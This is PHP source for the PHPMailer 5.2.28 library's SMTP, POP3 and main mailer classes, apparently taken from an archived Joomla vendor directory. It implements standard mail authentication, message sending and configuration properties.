self::DEBUG_CLIENT ); return false; } //msg1 $msg1 = $ntlm_client->typeMsg1($realm, $workstation); //msg1 if (!$this->sendCommand( 'AUTH NTLM', 'AUTH NTLM ' . base64_encode($msg1), 334 ) ) { return false; } //Though 0 based, there is a white space after the 3 digit number //msg2 $challenge = substr($this->last_reply, 3); $challenge = base64_decode($challenge); $ntlm_res = $ntlm_client->NTLMResponse( substr($challenge, 24, 8), $password ); //msg3 $msg3 = $ntlm_client->typeMsg3( $ntlm_res, $username, $realm, $workstation ); // send encoded username return $this->sendCommand('Username', base64_encode($msg3), 235); case 'CRAM-MD5': // Start authentication if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } // Get the challenge $challenge = base64_decode(substr($this->last_reply, 4)); // Build the response $response = $username . ' ' . $this->hmac($challenge, $password); // send encoded credentials return $this->sendCommand('Username', base64_encode($response), 235); default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } /** * Calculate an MD5 HMAC hash. * Works like hash_hmac('md5', $data, $key) * in case that function is not available * @param string $data The data to hash * @param string $key The key to hash with * @access protected * @return string */ protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } // The following borrowed from // http://php.net/manual/en/function.mhash.php#27225 // RFC 2104 HMAC implementation for php. // Creates an md5 HMAC. // Eliminates the need to install mhash to compute a HMAC // by Lance Rushing $bytelen = 64; // byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } /** * Check connection state. * @access public * @return boolean True if connected. */ public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { // The socket is valid but we are not connected $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; // everything looks good } return false; } /** * Close the socket and clean up the state of the class. * Don't use this function without first trying to use QUIT. * @see quit() * @access public * @return void */ public function close() { $this->setError(''); $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { // close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } /** * Send an SMTP DATA command. * Issues a data command and sends the msg_data to the server, * finializing the mail transaction. $msg_data is the message * that is to be send with the headers. Each header needs to be * on a single line followed by a <CRLF> with the message headers * and the message body being separated by and additional <CRLF>. * Implements rfc 821: DATA <CRLF> * @param string $msg_data Message data to send * @access public * @return boolean */ public function data($msg_data) { //This will use the standard timelimit if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } /* The server is ready to accept data! * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF) * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into * smaller lines to fit within the limit. * We will also look for lines that start with a '.' and prepend an additional '.'. * NOTE: this does not count towards line-length limit. */ // Normalize line breaks before exploding $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data)); /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field * of the first line (':' separated) does not contain a space then it _should_ be a header and we will * process all lines before a blank line as headers. */ $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = array(); if ($in_headers and $line == '') { $in_headers = false; } //Break this line up into several smaller lines if it's too long //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), while (isset($line[self::MAX_LINE_LENGTH])) { //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on //so as to avoid breaking in the middle of a word $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); //Deliberately matches both false and 0 if (!$pos) { //No nice break found, add a hard break $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { //Break at the found point $lines_out[] = substr($line, 0, $pos); //Move along by the amount we dealt with $line = substr($line, $pos + 1); } //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; //Send the lines to the server foreach ($lines_out as $line_out) { //RFC2821 section 4.5.2 if (!empty($line_out) and $line_out[0] == '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . self::CRLF); } } //Message data has been sent, complete the command //Increase timelimit for end of DATA command $savetimelimit = $this->Timelimit; $this->Timelimit = $this->Timelimit * 2; $result = $this->sendCommand('DATA END', '.', 250); $this->recordLastTransactionID(); //Restore timelimit $this->Timelimit = $savetimelimit; return $result; } /** * Send an SMTP HELO or EHLO command. * Used to identify the sending server to the receiving server. * This makes sure that client and server are in a known state. * Implements RFC 821: HELO <SP> <domain> <CRLF> * and RFC 2821 EHLO. * @param string $host The host name or IP to connect to * @access public * @return boolean */ public function hello($host = '') { //Try extended hello first (RFC 2821) return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); } /** * Send an SMTP HELO or EHLO command. * Low-level implementation used by hello() * @see hello() * @param string $hello The HELO string * @param string $host The hostname to say we are * @access protected * @return boolean */ protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } /** * Parse a reply to HELO/EHLO command to discover server extensions. * In case of HELO, the only parameter that can be discovered is a server name. * @access protected * @param string $type - 'HELO' or 'EHLO' */ protected function parseHelloFields($type) { $this->server_caps = array(); $lines = explode("\n", $this->helo_rply); foreach ($lines as $n => $s) { //First 4 chars contain response code followed by - or space $s = trim(substr($s, 4)); if (empty($s)) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); switch ($name) { case 'SIZE': $fields = ($fields ? $fields[0] : 0); break; case 'AUTH': if (!is_array($fields)) { $fields = array(); } break; default: $fields = true; } } $this->server_caps[$name] = $fields; } } } /** * Send an SMTP MAIL command. * Starts a mail transaction from the email address specified in * $from. Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF> * @param string $from Source address of this message * @access public * @return boolean */ public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 ); } /** * Send an SMTP QUIT command. * Closes the socket if there is no error or the $close_on_error argument is true. * Implements from rfc 821: QUIT <CRLF> * @param boolean $close_on_error Should the connection close if an error occurs? * @access public * @return boolean */ public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror or $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } /** * Send an SMTP RCPT command. * Sets the TO argument to $toaddr. * Returns true if the recipient was accepted false if it was rejected. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF> * @param string $address The address the message is being sent to * @access public * @return boolean */ public function recipient($address) { return $this->sendCommand( 'RCPT TO', 'RCPT TO:<' . $address . '>', array(250, 251) ); } /** * Send an SMTP RSET command. * Abort any transaction that is currently in progress. * Implements rfc 821: RSET <CRLF> * @access public * @return boolean True on success. */ public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } /** * Send a command to an SMTP server and check its return code. * @param string $command The command name - not sent to the server * @param string $commandstring The actual command to send * @param integer|array $expect One or more expected integer success codes * @access protected * @return boolean True on success. */ protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } //Reject line breaks in all commands if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) { $this->setError("Command '$command' contained line breaks"); return false; } $this->client_send($commandstring . self::CRLF); $this->last_reply = $this->get_lines(); // Fetch SMTP code and possible error code explanation $matches = array(); if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { $code = $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); // Cut off error code from each response line $detail = preg_replace( "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . "/m", '', $this->last_reply ); } else { // Fall back to simple parsing if regex fails $code = substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array)$expect)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } $this->setError(''); return true; } /** * Send an SMTP SAML command. * Starts a mail transaction from the email address specified in $from. * Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. This command * will send the message to the users terminal if they are logged * in and send them an email. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF> * @param string $from The address the message is from * @access public * @return boolean */ public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } /** * Send an SMTP VRFY command. * @param string $name The name to verify * @access public * @return boolean */ public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", array(250, 251)); } /** * Send an SMTP NOOP command. * Used to keep keep-alives alive, doesn't actually do anything * @access public * @return boolean */ public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } /** * Send an SMTP TURN command. * This is an optional command for SMTP that this class does not support. * This method is here to make the RFC821 Definition complete for this class * and _may_ be implemented in future * Implements from rfc 821: TURN <CRLF> * @access public * @return boolean */ public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } /** * Send raw data to the server. * @param string $data The data to send * @access public * @return integer|boolean The number of bytes sent to the server or false on error */ public function client_send($data) { $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); set_error_handler(array($this, 'errorHandler')); $result = fwrite($this->smtp_conn, $data); restore_error_handler(); return $result; } /** * Get the latest error. * @access public * @return array */ public function getError() { return $this->error; } /** * Get SMTP extensions available on the server * @access public * @return array|null */ public function getServerExtList() { return $this->server_caps; } /** * A multipurpose method * The method works in three ways, dependent on argument value and current state * 1. HELO/EHLO was not sent - returns null and set up $this->error * 2. HELO was sent * $name = 'HELO': returns server name * $name = 'EHLO': returns boolean false * $name = any string: returns null and set up $this->error * 3. EHLO was sent * $name = 'HELO'|'EHLO': returns server name * $name = any string: if extension $name exists, returns boolean True * or its options. Otherwise returns boolean False * In other words, one can use this method to detect 3 conditions: * - null returned: handshake was not or we don't know about ext (refer to $this->error) * - false returned: the requested feature exactly not exists * - positive value returned: the requested feature exists * @param string $name Name of SMTP extension or 'HELO'|'EHLO' * @return mixed */ public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return null; } // the tight logic knot ;) if (!array_key_exists($name, $this->server_caps)) { if ($name == 'HELO') { return $this->server_caps['EHLO']; } if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used. Client knows nothing about server extensions'); return null; } return $this->server_caps[$name]; } /** * Get the last reply from the server. * @access public * @return string */ public function getLastReply() { return $this->last_reply; } /** * Read the SMTP server's response. * Either before eof or socket timeout occurs on the operation. * With SMTP we can tell if we have more lines to read if the * 4th character is '-' symbol. If it is a space then we don't * need to read anything else. * @access protected * @return string */ protected function get_lines() { // If the connection is bad, give up straight away if (!is_resource($this->smtp_conn)) { return ''; } $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { $str = @fgets($this->smtp_conn, 515); $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL); $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL); $data .= $str; // If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), // or 4th character is a space, we are done reading, break the loop, // string array access is a micro-optimisation over strlen if (!isset($str[3]) or (isset($str[3]) and $str[3] == ' ')) { break; } // Timed-out? Log and break $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } // Now check if reads took too long if ($endtime and time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } /** * Enable or disable VERP address generation. * @param boolean $enabled */ public function setVerp($enabled = false) { $this->do_verp = $enabled; } /** * Get VERP address generation mode. * @return boolean */ public function getVerp() { return $this->do_verp; } /** * Set error messages and codes. * @param string $message The error message * @param string $detail Further detail on the error * @param string $smtp_code An associated SMTP error code * @param string $smtp_code_ex Extended SMTP code */ protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = array( 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex ); } /** * Set debug output method. * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it. */ public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } /** * Get debug output method. * @return string */ public function getDebugOutput() { return $this->Debugoutput; } /** * Set debug output level. * @param integer $level */ public function setDebugLevel($level = 0) { $this->do_debug = $level; } /** * Get debug output level. * @return integer */ public function getDebugLevel() { return $this->do_debug; } /** * Set SMTP timeout. * @param integer $timeout */ public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } /** * Get SMTP timeout. * @return integer */ public function getTimeout() { return $this->Timeout; } /** * Reports an error number and string. * @param integer $errno The error number returned by PHP. * @param string $errmsg The error message returned by PHP. * @param string $errfile The file the error occurred in * @param integer $errline The line number the error occurred on */ protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { $notice = 'Connection failed.'; $this->setError( $notice, $errno, $errmsg ); $this->edebug( $notice . ' Error #' . $errno . ': ' . $errmsg . " [$errfile line $errline]", self::DEBUG_CONNECTION ); } /** * Extract and return the ID of the last SMTP transaction based on * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. * Relies on the host providing the ID in response to a DATA command. * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * @return bool|null|string */ protected function recordLastTransactionID() { $reply = $this->getLastReply(); if (empty($reply)) { $this->last_smtp_transaction_id = null; } else { $this->last_smtp_transaction_id = false; foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { $this->last_smtp_transaction_id = $matches[1]; } } } return $this->last_smtp_transaction_id; } /** * Get the queue/transaction ID of the last SMTP transaction * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * @return bool|null|string * @see recordLastTransactionID() */ public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } PKÜ�\w H�*�*)vendor/phpmailer/phpmailer/class.pop3.phpnu�[���<?php /** * PHPMailer POP-Before-SMTP Authentication Class. * PHP Version 5 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer POP-Before-SMTP Authentication Class. * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. * Does not support APOP. * @package PHPMailer * @author Richard Davey (original author) <rich@corephp.co.uk> * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> */ class POP3 { /** * The POP3 PHPMailer Version number. * @var string * @access public */ public $Version = '5.2.28'; /** * Default POP3 port number. * @var integer * @access public */ public $POP3_PORT = 110; /** * Default timeout in seconds. * @var integer * @access public */ public $POP3_TIMEOUT = 30; /** * POP3 Carriage Return + Line Feed. * @var string * @access public * @deprecated Use the constant instead */ public $CRLF = "\r\n"; /** * Debug display level. * Options: 0 = no, 1+ = yes * @var integer * @access public */ public $do_debug = 0; /** * POP3 mail server hostname. * @var string * @access public */ public $host; /** * POP3 port number. * @var integer * @access public */ public $port; /** * POP3 Timeout Value in seconds. * @var integer * @access public */ public $tval; /** * POP3 username * @var string * @access public */ public $username; /** * POP3 password. * @var string * @access public */ public $password; /** * Resource handle for the POP3 connection socket. * @var resource * @access protected */ protected $pop_conn; /** * Are we connected? * @var boolean * @access protected */ protected $connected = false; /** * Error container. * @var array * @access protected */ protected $errors = array(); /** * Line break constant */ const CRLF = "\r\n"; /** * Simple static wrapper for all-in-one POP before SMTP * @param $host * @param integer|boolean $port The port number to connect to * @param integer|boolean $timeout The timeout value * @param string $username * @param string $password * @param integer $debug_level * @return boolean */ public static function popBeforeSmtp( $host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0 ) { $pop = new POP3; return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); } /** * Authenticate with a POP3 server. * A connect, login, disconnect sequence * appropriate for POP-before SMTP authorisation. * @access public * @param string $host The hostname to connect to * @param integer|boolean $port The port number to connect to * @param integer|boolean $timeout The timeout value * @param string $username * @param string $password * @param integer $debug_level * @return boolean */ public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) { $this->host = $host; // If no port value provided, use default if (false === $port) { $this->port = $this->POP3_PORT; } else { $this->port = (integer)$port; } // If no timeout value provided, use default if (false === $timeout) { $this->tval = $this->POP3_TIMEOUT; } else { $this->tval = (integer)$timeout; } $this->do_debug = $debug_level; $this->username = $username; $this->password = $password; // Reset the error log $this->errors = array(); // connect $result = $this->connect($this->host, $this->port, $this->tval); if ($result) { $login_result = $this->login($this->username, $this->password); if ($login_result) { $this->disconnect(); return true; } } // We need to disconnect regardless of whether the login succeeded $this->disconnect(); return false; } /** * Connect to a POP3 server. * @access public * @param string $host * @param integer|boolean $port * @param integer $tval * @return boolean */ public function connect($host, $port = false, $tval = 30) { // Are we already connected? if ($this->connected) { return true; } //On Windows this will raise a PHP Warning error if the hostname doesn't exist. //Rather than suppress it with @fsockopen, capture it cleanly instead set_error_handler(array($this, 'catchWarning')); if (false === $port) { $port = $this->POP3_PORT; } // connect to the POP3 server $this->pop_conn = fsockopen( $host, // POP3 Host $port, // Port # $errno, // Error Number $errstr, // Error Message $tval ); // Timeout (seconds) // Restore the error handler restore_error_handler(); // Did we connect? if (false === $this->pop_conn) { // It would appear not... $this->setError(array( 'error' => "Failed to connect to server $host on port $port", 'errno' => $errno, 'errstr' => $errstr )); return false; } // Increase the stream time-out stream_set_timeout($this->pop_conn, $tval, 0); // Get the POP3 server response $pop3_response = $this->getResponse(); // Check for the +OK if ($this->checkResponse($pop3_response)) { // The connection is established and the POP3 server is talking $this->connected = true; return true; } return false; } /** * Log in to the POP3 server. * Does not support APOP (RFC 2828, 4949). * @access public * @param string $username * @param string $password * @return boolean */ public function login($username = '', $password = '') { if (!$this->connected) { $this->setError('Not connected to POP3 server'); } if (empty($username)) { $username = $this->username; } if (empty($password)) { $password = $this->password; } // Send the Username $this->sendString("USER $username" . self::CRLF); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { // Send the Password $this->sendString("PASS $password" . self::CRLF); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { return true; } } return false; } /** * Disconnect from the POP3 server. * @access public */ public function disconnect() { $this->sendString('QUIT'); //The QUIT command may cause the daemon to exit, which will kill our connection //So ignore errors here try { @fclose($this->pop_conn); } catch (Exception $e) { //Do nothing }; } /** * Get a response from the POP3 server. * $size is the maximum number of bytes to retrieve * @param integer $size * @return string * @access protected */ protected function getResponse($size = 128) { $response = fgets($this->pop_conn, $size); if ($this->do_debug >= 1) { echo "Server -> Client: $response"; } return $response; } /** * Send raw data to the POP3 server. * @param string $string * @return integer * @access protected */ protected function sendString($string) { if ($this->pop_conn) { if ($this->do_debug >= 2) { //Show client messages when debug >= 2 echo "Client -> Server: $string"; } return fwrite($this->pop_conn, $string, strlen($string)); } return 0; } /** * Checks the POP3 server response. * Looks for for +OK or -ERR. * @param string $string * @return boolean * @access protected */ protected function checkResponse($string) { if (substr($string, 0, 3) !== '+OK') { $this->setError(array( 'error' => "Server reported an error: $string", 'errno' => 0, 'errstr' => '' )); return false; } else { return true; } } /** * Add an error to the internal error store. * Also display debug output if it's enabled. * @param $error * @access protected */ protected function setError($error) { $this->errors[] = $error; if ($this->do_debug >= 1) { echo '<pre>'; foreach ($this->errors as $error) { print_r($error); } echo '</pre>'; } } /** * Get an array of error messages, if any. * @return array */ public function getErrors() { return $this->errors; } /** * POP3 connection error handler. * @param integer $errno * @param string $errstr * @param string $errfile * @param integer $errline * @access protected */ protected function catchWarning($errno, $errstr, $errfile, $errline) { $this->setError(array( 'error' => "Connecting to the POP3 server raised a PHP warning: ", 'errno' => $errno, 'errstr' => $errstr, 'errfile' => $errfile, 'errline' => $errline )); } } PKÜ�\� 1D|G|G.vendor/phpmailer/phpmailer/class.phpmailer.phpnu�[���<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer - PHP email creation and transport class. * @package PHPMailer * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) */ class PHPMailer { /** * The PHPMailer Version number. * @var string */ public $Version = '5.2.28+joomla2'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * @var integer */ public $Priority = null; /** * The character set of the message. * @var string */ public $CharSet = 'iso-8859-1'; /** * The MIME Content-type of the message. * @var string */ public $ContentType = 'text/plain'; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * @var string */ public $Encoding = '8bit'; /** * Holds the most recent mailer error message. * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * @var string */ public $From = 'root@localhost'; /** * The From name of the message. * @var string */ public $FromName = 'Root User'; /** * The Sender email (Return-Path) of the message. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. * @var string */ public $Sender = ''; /** * The Return-Path of the message. * If empty, it will be set to either From or Sender. * @var string * @deprecated Email senders should never set a return-path header; * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference */ public $ReturnPath = ''; /** * The Subject of the message. * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ * @link http://kigkonsult.se/iCalcreator/ * @var string */ public $Ical = ''; /** * The complete compiled MIME message body. * @access protected * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * @var string * @access protected */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * @var string * @access protected */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * @var integer */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * @var boolean */ public $UseSendmailOptions = true; /** * Path to PHPMailer plugins. * Useful if the SMTP class is not in the PHP include path. * @var string * @deprecated Should not be needed now there is an autoloader. */ public $PluginDir = ''; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "<id@domain>", * as defined in RFC5322 section 3.6.4 or it will be ignored. * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * @var integer * @TODO Why is this needed when the SMTP class takes care of it? */ public $Port = 25; /** * The SMTP HELO of the message. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * @var string * @see PHPMailer::$Hostname */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', 'ssl' or 'tls' * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * @var boolean */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * @var boolean * @see PHPMailer::$Username * @see PHPMailer::$Password */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * @var array */ public $SMTPOptions = array(); /** * SMTP username. * @var string */ public $Username = ''; /** * SMTP password. * @var string */ public $Password = ''; /** * SMTP auth type. * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified * @var string */ public $AuthType = ''; /** * SMTP realm. * Used for NTLM auth * @var string */ public $Realm = ''; /** * SMTP workstation. * Used for NTLM auth * @var string */ public $Workstation = ''; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 * @var integer */ public $Timeout = 300; /** * SMTP class debug output mode. * Debug output level. * Options: * * `0` No output * * `1` Commands * * `2` Data and commands * * `3` As 2 plus connection status * * `4` Low-level data output * @var integer * @see SMTP::$do_debug */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * <code> * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * </code> * @var string|callable * @see SMTP::$Debugoutput */ public $Debugoutput = 'echo'; /** * Whether to keep SMTP connection open after each message. * If this is set to true then to close the connection * requires an explicit call to smtpClose(). * @var boolean */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * @var boolean */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * @var array * @TODO This should really not be public */ public $SingleToArray = array(); /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path * @link http://www.postfix.org/VERP_README.html Postfix VERP info * @var boolean */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * @var boolean */ public $AllowEmpty = false; /** * The default line ending. * @note The default remains "\n". We force CRLF where we know * it must be used via self::CRLF. * @var string */ public $LE = "\n"; /** * DKIM selector. * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * @example 'example.com' * @var string */ public $DKIM_domain = ''; /** * DKIM private key file path. * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * If set, takes precedence over `$DKIM_private`. * 